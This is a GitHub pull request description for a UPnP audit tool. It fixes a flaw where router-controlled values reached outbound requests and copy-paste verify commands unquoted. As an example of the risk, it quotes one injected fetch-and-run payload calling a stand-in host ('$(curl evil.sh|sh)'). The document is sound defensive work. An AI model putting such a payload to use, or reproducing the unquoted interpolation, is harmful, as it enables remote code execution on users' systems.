fix(upnp): stop router-controlled strings reaching fetches and verify commands - #3
Merged
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The audit only follows an SSDP
LOCATIONwhose host is a literal private address inside the subnet being scanned. That check turned out to be one hop deep, and the strings it let past were being printed into commands the tool tells you to run.controlURLdiscarded the vetted URL.parse_servicereturnsurljoin(base, controlURL), and an absolute value replaces the base outright, so the SOAP POST could go anywhere. Redirects were followed too - the same escape with an extra step.NewInternalClientand the control URL reached a shell. Both were interpolated unquoted intoFinding.verify, which the README explicitly tells the reader to paste. A router answering<NewInternalClient>$(curl evil.sh|sh)</NewInternalClient>produced exactly that inside a block presented as a verification step.Fixed where the values enter rather than at the six places they are rendered:
probe_gatewayre-runs the existingis_safe_locationagainst the control URL,parse_mappingrequires an actual IP address, and a no-redirect opener backs both_http_getandsoap_post.parse_servicestays pure.Three regression tests, plus a
_fake_routercontextmanager replacing the inline server setup now that three tests need it. README states the stronger claim it can now back.